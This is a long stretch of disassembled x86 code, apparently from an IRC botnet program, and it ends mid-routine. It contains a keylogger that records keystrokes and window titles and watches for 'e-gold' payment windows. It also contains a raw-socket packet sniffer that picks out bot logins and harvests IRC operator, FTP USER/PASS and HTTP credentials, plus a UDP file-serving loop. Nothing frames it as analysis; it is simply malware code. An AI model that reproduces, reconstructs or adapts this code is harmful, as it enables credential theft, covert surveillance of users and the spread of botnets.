lea eax, [ebp+var_2C]
push 10h
push eax
push esi
mov [ebp+var_28], ebx
call dword_4CBA00 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_4122C1
push 1388h
call ds:dword_427080 ; Sleep
dec [ebp+var_164]
push [ebp+arg_0]
jmp loc_4125F0
; ---------------------------------------------------------------------------
loc_4122C1: ; CODE XREF: sub_412197+10Fj
lea eax, [ebp+var_370]
push offset dword_429068
push eax
call sub_41BEA2
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_412327
push 190h
call ds:dword_427080 ; Sleep
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409869
lea eax, [ebp+var_778]
push eax
call sub_415D38
push [ebp+var_168]
call sub_40B6D6
add esp, 1Ch
push ebx
call ds:dword_4270D4 ; ExitThread
loc_412327: ; CODE XREF: sub_412197+142j
; sub_412197+413j
mov edi, [ebp+arg_0]
cmp [edi+2A0h], ebx
jz loc_4125B3
mov edi, 80h
lea eax, [ebp+var_D0]
push edi
push ebx
push eax
mov [ebp+var_1C], 5
mov [ebp+var_18], 1388h
mov [ebp+var_878], esi
mov [ebp+var_87C], 1
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1C]
push eax
push ebx
lea eax, [ebp+var_87C]
push ebx
push eax
push ebx
call dword_4CB9BC ; select
test eax, eax
jle loc_4125A7
mov al, byte_43DB88
mov ecx, edi
mov [ebp+var_578], al
xor eax, eax
lea edi, [ebp+var_577]
mov [ebp+var_C], 10h
rep stosd
stosw
stosb
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_3C]
push eax
push ebx
lea eax, [ebp+var_D0]
push 80h
push eax
push esi
call dword_4CB9AC ; recvfrom
push [ebp+var_38]
mov [ebp+var_8], eax
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_50]
push eax
call sub_41C266
cmp [ebp+var_D0], bl
pop ecx
pop ecx
jnz loc_412591
cmp [ebp+var_CF], 1
jnz loc_412497
lea eax, [ebp+var_26C]
push eax
call sub_41B9C0
push ebx
push ebx
push [ebp+var_4]
call sub_41DA8B
push [ebp+var_4]
lea eax, [ebp+var_574]
mov [ebp+var_578], bl
mov [ebp+var_577], 3
push 200h
push 1
push eax
mov [ebp+var_576], bl
mov [ebp+var_575], 1
call sub_41BAFA
add esp, 20h
lea ecx, [ebp+var_3C]
mov [ebp+var_8], eax
add eax, 4
push [ebp+var_C]
push ecx
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4CBA38 ; sendto
cmp [ebp+var_D8], ebx
jnz short loc_412485
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409869
add esp, 14h
loc_412485: ; CODE XREF: sub_412197+2C9j
lea eax, [ebp+var_778]
push eax
call sub_415D38
pop ecx
jmp loc_4125A7
; ---------------------------------------------------------------------------
loc_412497: ; CODE XREF: sub_412197+257j
cmp [ebp+var_CF], 4
jnz loc_412591
mov cl, [ebp+var_CD]
mov al, [ebp+var_CE]
cmp cl, 0FFh
mov [ebp+var_578], bl
mov [ebp+var_577], 3
jnz short loc_4124D4
inc al
xor cl, cl
mov [ebp+var_576], al
mov [ebp+var_575], bl
jmp short loc_4124E2
; ---------------------------------------------------------------------------
loc_4124D4: ; CODE XREF: sub_412197+329j
inc cl
mov [ebp+var_576], al
mov [ebp+var_575], cl
loc_4124E2: ; CODE XREF: sub_412197+33Bj
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
mov edi, 200h
shl eax, 9
sub eax, edi
push ebx
push eax
push [ebp+var_4]
call sub_41DA8B
push [ebp+var_4]
lea eax, [ebp+var_574]
push edi
push 1
push eax
call sub_41BAFA
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_3C]
mov [ebp+var_8], edi
push [ebp+var_C]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4CBA38 ; sendto
cmp edi, ebx
jnz short loc_4125A7
lea eax, [ebp+var_50]
push eax
lea eax, [ebp+var_778]
push offset dword_434798
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_D8], ebx
jnz short loc_41257C
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409869
add esp, 14h
loc_41257C: ; CODE XREF: sub_412197+3C0j
lea eax, [ebp+var_778]
push eax
call sub_415D38
inc dword_4CE4DC
pop ecx
jmp short loc_4125A7
; ---------------------------------------------------------------------------
loc_412591: ; CODE XREF: sub_412197+24Aj
; sub_412197+307j
push [ebp+var_C]
lea eax, [ebp+var_3C]
push eax
push ebx
push 9
push offset dword_435838
push esi
call dword_4CBA38 ; sendto
loc_4125A7: ; CODE XREF: sub_412197+1E9j
; sub_412197+2FBj ...
cmp [ebp+var_8], ebx
jg loc_412327
mov edi, [ebp+arg_0]
loc_4125B3: ; CODE XREF: sub_412197+199j
push esi
call dword_4CBA6C ; closesocket
push [ebp+var_4]
call sub_41BA3B
dec [ebp+var_164]
cmp [edi+2A0h], ebx
pop ecx
jnz short loc_4125E4
push [ebp+var_168]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_4125E4: ; CODE XREF: sub_412197+438j
push 3E8h
call ds:dword_427080 ; Sleep
push edi
loc_4125F0: ; CODE XREF: sub_412197+125j
call sub_412197
pop edi
pop esi
pop ebx
leave
retn 4
sub_412197 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4125FC proc near ; CODE XREF: sub_4126A7+E2p
; sub_4126A7+1A4p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = byte ptr 18h
arg_90 = dword ptr 98h
arg_94 = dword ptr 9Ch
push ebp
mov ebp, esp
sub esp, 200h
cmp [ebp+arg_90], 0
jz short loc_41266C
push esi
mov esi, offset aEGold ; "e-gold"
loc_412614: ; CODE XREF: sub_4125FC+6Bj
push esi
push [ebp+arg_4]
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_41265B
push esi
lea eax, [ebp+var_200]
push [ebp+arg_0]
push offset aSS_5 ; "%s (%s)"
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp+var_200]
push [ebp+arg_94]
push eax
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_8]
call sub_409869
add esp, 28h
loc_41265B: ; CODE XREF: sub_4125FC+25j
add esi, 80h
cmp esi, offset dword_436448
jb short loc_412614
pop esi
jmp short loc_4126A3
; ---------------------------------------------------------------------------
loc_41266C: ; CODE XREF: sub_4125FC+10j
push [ebp+arg_0]
lea eax, [ebp+var_200]
push offset aS_8 ; "%s"
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp+var_200]
push [ebp+arg_94]
push eax
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_8]
call sub_409869
add esp, 24h
loc_4126A3: ; CODE XREF: sub_4125FC+6Ej
xor eax, eax
leave
retn
sub_4125FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4126A7 proc near ; DATA XREF: sub_401ACD+7374o
var_920 = dword ptr -920h
var_91C = byte ptr -91Ch
var_520 = byte ptr -520h
var_4E0 = byte ptr -4E0h
var_2E1 = byte ptr -2E1h
var_2E0 = byte ptr -2E0h
var_E0 = byte ptr -0E0h
var_DC = dword ptr -0DCh
var_58 = dword ptr -58h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 920h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_920], 0
push 26h
and [ebp+arg_0], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_E0]
rep movsd
mov dword ptr [eax+94h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_91C]
rep stosd
call dword_4CB958 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_4CB970 ; GetWindowTextA
mov ebx, 200h
loc_412702: ; CODE XREF: sub_4126A7+4A0j
push 8
call ds:dword_427080 ; Sleep
call dword_4CB958 ; GetForegroundWindow
cmp eax, [ebp+var_8]
jz loc_41287A
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_4CB970 ; GetWindowTextA
cmp [ebp+var_58], 0
jz loc_4127FF
lea eax, [ebp+var_2E0]
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_4127B8
lea eax, [ebp+var_48]
push eax
call sub_41B9C0
cmp eax, 1
pop ecx
jnb short loc_4127B8
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset a__S_l_ ; ".».%s.«."
push eax
call sub_41C266
sub esp, 8Ch
lea eax, [ebp+var_48]
lea esi, [ebp+var_E0]
push 26h
pop ecx
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
rep movsd
push eax
call sub_4125FC
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_41BF70
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_41BF70
add esp, 0Ch
loc_4127B8: ; CODE XREF: sub_4126A7+9Bj
; sub_4126A7+AAj
lea eax, [ebp+var_2E0]
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe loc_41287A
lea eax, [ebp+var_48]
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe loc_41287A
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset a__S_l_ ; ".».%s.«."
push eax
call sub_41C266
sub esp, 8Ch
jmp short loc_412833
; ---------------------------------------------------------------------------
loc_4127FF: ; CODE XREF: sub_4126A7+86j
lea eax, [ebp+var_48]
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe loc_412925
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset a__S_l_ChangedW ; ".».%s.«. (Changed Windows: %s)"
push eax
call sub_41C266
sub esp, 88h
loc_412833: ; CODE XREF: sub_4126A7+156j
push 26h
lea eax, [ebp+var_48]
pop ecx
lea esi, [ebp+var_E0]
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
rep movsd
push eax
call sub_4125FC
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_41BF70
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_41BF70
add esp, 0Ch
loc_41287A: ; CODE XREF: sub_4126A7+6Cj
; sub_4126A7+120j ...
cmp [ebp+var_58], 0
jz loc_412925
push 1
call dword_4CB9A0 ; GetAsyncKeyState
cmp ax, 8001h
jnz loc_412925
lea eax, [ebp+var_2E0]
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_412925
call dword_4CB958 ; GetForegroundWindow
lea ecx, [ebp+var_520]
push 3Ch
push ecx
push eax
call dword_4CB970 ; GetWindowTextA
lea eax, [ebp+var_2E0]
push eax
lea eax, [ebp+var_4E0]
push offset a__S_l_ ; ".».%s.«."
push eax
call sub_41C266
sub esp, 8Ch
lea eax, [ebp+var_520]
lea esi, [ebp+var_E0]
push 26h
pop ecx
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
rep movsd
push eax
call sub_4125FC
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_41BF70
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_41BF70
add esp, 0Ch
loc_412925: ; CODE XREF: sub_4126A7+164j
; sub_4126A7+1D7j ...
mov [ebp+var_4], offset dword_43644C
loc_41292C: ; CODE XREF: sub_4126A7+496j
push 10h
call dword_4CB8A8 ; GetKeyState
movsx esi, ax
mov eax, [ebp+var_4]
mov edi, [eax-4]
push edi
call dword_4CB9A0 ; GetAsyncKeyState
test ah, 80h
jz short loc_4129C4
push 14h
call dword_4CB8A8 ; GetKeyState
test ax, ax
jz short loc_412975
cmp esi, 0FFFFFFFFh
jle short loc_412975
cmp edi, 40h
jle short loc_412975
cmp edi, 5Bh
jge short loc_412975
mov [ebp+edi*4+var_920], 1
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_412975: ; CODE XREF: sub_4126A7+2ADj
; sub_4126A7+2B2j ...
push 14h
call dword_4CB8A8 ; GetKeyState
test ax, ax
jz short loc_4129A0
test esi, esi
jge short loc_4129B4
cmp edi, 40h
jle short loc_4129A0
cmp edi, 5Bh
jge short loc_4129A0
mov [ebp+edi*4+var_920], 2
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_4129A0: ; CODE XREF: sub_4126A7+2D9j
; sub_4126A7+2E2j ...
test esi, esi
jge short loc_4129B4
mov [ebp+edi*4+var_920], 3
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_4129B4: ; CODE XREF: sub_4126A7+2DDj
; sub_4126A7+2FBj
mov [ebp+edi*4+var_920], 4
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_4129C4: ; CODE XREF: sub_4126A7+2A0j
mov esi, [ebp+edi*4+var_920]
lea eax, [ebp+edi*4+var_920]
test esi, esi
jz loc_412B32
and dword ptr [eax], 0
lea eax, [ebp+var_2E0]
cmp edi, 8
push eax
jnz short loc_4129FC
call sub_41B9C0
and [ebp+eax+var_2E1], 0
pop ecx
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_4129FC: ; CODE XREF: sub_4126A7+340j
call sub_41B9C0
cmp eax, 1B9h
pop ecx
jbe short loc_412A42
call dword_4CB958 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_4CB970 ; GetWindowTextA
cmp [ebp+var_58], 0
jz short loc_412A30
lea eax, [ebp+var_2E0]
push eax
push offset a__S_l_BufferFu ; ".».%s.«. (Buffer full)"
jmp short loc_412A85
; ---------------------------------------------------------------------------
loc_412A30: ; CODE XREF: sub_4126A7+379j
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2E0]
push eax
push offset a__S_l_Buffer_0 ; ".».%s.«. (Buffer full) (%s)"
jmp short loc_412AA6
; ---------------------------------------------------------------------------
loc_412A42: ; CODE XREF: sub_4126A7+360j
cmp edi, 0Dh
jnz loc_412B04
lea eax, [ebp+var_2E0]
push eax
call sub_41B9C0
test eax, eax
pop ecx
jz loc_412B32
call dword_4CB958 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_4CB970 ; GetWindowTextA
cmp [ebp+var_58], 0
jz short loc_412A96
lea eax, [ebp+var_2E0]
push eax
push offset a__S_l_Return ; ".».%s.«. (Return)"
loc_412A85: ; CODE XREF: sub_4126A7+387j
lea eax, [ebp+var_4E0]
push eax
call sub_41C266
add esp, 0Ch
jmp short loc_412AB5
; ---------------------------------------------------------------------------
loc_412A96: ; CODE XREF: sub_4126A7+3D0j
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2E0]
push eax
push offset a__S_l_ReturnS ; ".».%s.«. (Return) (%s)"
loc_412AA6: ; CODE XREF: sub_4126A7+399j
lea eax, [ebp+var_4E0]
push eax
call sub_41C266
add esp, 10h
loc_412AB5: ; CODE XREF: sub_4126A7+3EDj
sub esp, 98h
lea eax, [ebp+var_48]
lea esi, [ebp+var_E0]
push 26h
pop ecx
mov edi, esp
push eax
lea eax, [ebp+var_4E0]
rep movsd
push eax
call sub_4125FC
mov [ebp+arg_0], eax
push ebx
lea eax, [ebp+var_2E0]
push 0
push eax
call sub_41BF70
add esp, 0ACh
lea eax, [ebp+var_4E0]
push ebx
push 0
push eax
call sub_41BF70
add esp, 0Ch
jmp short loc_412B32
; ---------------------------------------------------------------------------
loc_412B04: ; CODE XREF: sub_4126A7+39Ej
cmp esi, 1
jz short loc_412B1D
cmp esi, 3
jz short loc_412B1D
cmp esi, 2
jz short loc_412B18
cmp esi, 4
jnz short loc_412B32
loc_412B18: ; CODE XREF: sub_4126A7+46Aj
push [ebp+var_4]
jmp short loc_412B24
; ---------------------------------------------------------------------------
loc_412B1D: ; CODE XREF: sub_4126A7+460j
; sub_4126A7+465j
mov eax, [ebp+var_4]
add eax, 7
push eax
loc_412B24: ; CODE XREF: sub_4126A7+474j
lea eax, [ebp+var_2E0]
push eax
call sub_41C8A0
pop ecx
pop ecx
loc_412B32: ; CODE XREF: sub_4126A7+2C9j
; sub_4126A7+2F4j ...
add [ebp+var_4], 14h
cmp [ebp+var_4], offset dword_436B7C
jl loc_41292C
cmp [ebp+arg_0], 0
jz loc_412702
push [ebp+var_DC]
call sub_40B6D6
pop ecx
push 0
call ds:dword_4270D4 ; ExitThread
sub_4126A7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B61 proc near ; DATA XREF: sub_401ACD+4150o
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
var_1028C = byte ptr -1028Ch
var_2B4 = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 102B4h
call sub_41C500
mov edx, [ebp+arg_0]
push esi
push edi
push 1
pop eax
mov esi, edx
push 25h
lea edi, [ebp+var_B4]
pop ecx
mov [ebp+var_8], eax
rep movsd
mov [edx+90h], eax
xor esi, esi
push 10h
lea eax, [ebp+var_1C]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_1C], 2
push esi
call dword_4CB9D4 ; htons
push [ebp+var_B4]
mov [ebp+var_1A], ax
call sub_40AA06
pop ecx
push eax
call dword_4CBA14 ; inet_addr
push esi
push 3
push 2
mov [ebp+var_18], eax
call dword_4CBA54 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_412C36
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset dword_43759C
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412C19
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409869
add esp, 14h
loc_412C19: ; CODE XREF: sub_412B61+96j
lea eax, [ebp+var_2B4]
push eax
call sub_415D38
push [ebp+var_30]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_412C36: ; CODE XREF: sub_412B61+76j
mov eax, [ebp+var_30]
push 10h
imul eax, 234h
mov dword_43E91C[eax], edi
lea eax, [ebp+var_1C]
push eax
push edi
call dword_4CBA00 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_412CBB
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset dword_437570
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412C97
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409869
add esp, 14h
loc_412C97: ; CODE XREF: sub_412B61+114j
lea eax, [ebp+var_2B4]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_30]
call sub_40B6D6
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_412CBB: ; CODE XREF: sub_412B61+F4j
push esi
lea eax, [ebp+var_20]
push esi
push eax
push esi
push esi
lea eax, [ebp+var_8]
push 4
push eax
push 98000001h
push edi
call dword_4CB980 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_412D3E
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset dword_437540
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412D1A
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409869
add esp, 14h
loc_412D1A: ; CODE XREF: sub_412B61+197j
lea eax, [ebp+var_2B4]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_30]
call sub_40B6D6
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_412D3E: ; CODE XREF: sub_412B61+177j
push ebx
mov ebx, offset a_login ; ":.login"
loc_412D44: ; CODE XREF: sub_412B61+21Bj
; sub_412B61+22Dj ...
mov edi, 0FFFFh
lea eax, [ebp+var_102B4]
push edi
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_102B4]
push esi
push edi
push eax
push [ebp+var_4]
call dword_4CB9EC ; recv
cmp eax, 0FFFFFFFFh
jz loc_412E71
cmp [ebp+var_102AB], 6
jnz short loc_412D44
mov eax, [ebp+var_102A8]
cmp [ebp+var_10293], 18h
mov [ebp+var_C], eax
jnz short loc_412D44
lea eax, [ebp+var_1028C]
push offset aPsniff_0 ; "[PSNIFF]"
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412D44
lea eax, [ebp+var_1028C]
push offset dword_437524
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412D44
mov eax, ebx
xor edi, edi
test eax, eax
jz loc_412D44
mov [ebp+arg_0], ebx
loc_412DCD: ; CODE XREF: sub_412B61+287j
push eax
lea eax, [ebp+var_1028C]
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412DEF
inc edi
add [ebp+arg_0], 18h
mov eax, [ebp+arg_0]
jnz short loc_412DCD
jmp loc_412D44
; ---------------------------------------------------------------------------
loc_412DEF: ; CODE XREF: sub_412B61+27Dj
lea eax, [ebp+var_1028C]
push eax
push [ebp+var_102A0]
call dword_4CB904 ; htons
movzx eax, ax
push eax
push [ebp+var_C]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [edi+edi*2]
mov eax, dword_436C6C[eax*8]
push off_436C48[eax*4]
lea eax, [ebp+var_2B4]
push offset dword_4374F0
push 200h
push eax
call sub_41C360
add esp, 1Ch
cmp [ebp+var_28], esi
jnz short loc_412E5F
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409869
add esp, 14h
loc_412E5F: ; CODE XREF: sub_412B61+2DCj
lea eax, [ebp+var_2B4]
push eax
call sub_415D38
pop ecx
jmp loc_412D44
; ---------------------------------------------------------------------------
loc_412E71: ; CODE XREF: sub_412B61+20Ej
call dword_4CB968 ; WSAGetLastError
push eax
push offset dword_4374C4
lea eax, [ebp+var_2B4]
push 200h
push eax
call sub_41C360
add esp, 10h
cmp [ebp+var_28], esi
pop ebx
jnz short loc_412EB7
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_409869
add esp, 14h
loc_412EB7: ; CODE XREF: sub_412B61+334j
lea eax, [ebp+var_2B4]
push eax
call sub_415D38
pop ecx
push [ebp+var_4]
call dword_4CBA6C ; closesocket
push [ebp+var_30]
call sub_40B6D6
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
sub_412B61 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_412EDD proc near ; CODE XREF: sub_4131EC+213p
; sub_4131EC+239p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4CE734, eax
mov eax, offset dword_4CE734
retn
sub_412EDD endp
; =============== S U B R O U T I N E =======================================
sub_412EEC proc near ; CODE XREF: sub_4131EC+2BFp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aBotSniff ; "Bot sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_412F06
loc_412F02: ; CODE XREF: sub_412EEC+29j
; sub_412EEC+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412F06: ; CODE XREF: sub_412EEC+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aPsniff_1 ; "[PSNIFF]:"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aPsniff_2 ; "PSNIFF//"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aJoin_0 ; "JOIN #"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_412F4E
loc_412F4A: ; CODE XREF: sub_412EEC+71j
; sub_412EEC+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412F4E: ; CODE XREF: sub_412EEC+5Cj
; DATA XREF: .data:off_43ACE0o
push offset a302 ; "302 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a366 ; "366 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_login_0 ; ":.login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aLogin ; ":!login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aLogin_0 ; ":!Login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_login_1 ; ":.Login"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_ident ; ":.ident"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aIdent_0 ; ":!ident"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz loc_412F4A
push offset a_hashin ; ":.hashin"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz loc_412F4A
push offset aHashin ; ":!hashin"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412EEC endp
; =============== S U B R O U T I N E =======================================
sub_413003 proc near ; CODE XREF: sub_4131EC+2F8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_41301D
loc_413019: ; CODE XREF: sub_413003+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41301D: ; CODE XREF: sub_413003+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_413019
push offset aOper ; "OPER "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_413043
loc_41303F: ; CODE XREF: sub_413003+4Fj
; sub_413003+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413043: ; CODE XREF: sub_413003+3Aj
push offset aNick_1 ; "NICK "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41303F
push offset aOper_0 ; "oper "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41303F
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413003 endp
; =============== S U B R O U T I N E =======================================
sub_413079 proc near ; CODE XREF: sub_4131EC+32Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_413093
loc_41308F: ; CODE XREF: sub_413079+29j
; sub_413079+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_413093: ; CODE XREF: sub_413079+14j
push offset aFaak ; "#FAAK#"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41308F
push offset aNick_1 ; "NICK "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_41308F
push offset a220 ; "220 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4130CA
loc_4130C6: ; CODE XREF: sub_413079+60j
; sub_413079+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4130CA: ; CODE XREF: sub_413079+4Bj
push offset a230 ; "230 "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4130C6
push offset aUser_2 ; "USER "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4130C6
push offset aPass_0 ; "PASS "
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413079 endp
; =============== S U B R O U T I N E =======================================
sub_413100 proc near ; CODE XREF: sub_4131EC+35Fp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_41311A
loc_413116: ; CODE XREF: sub_413100+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
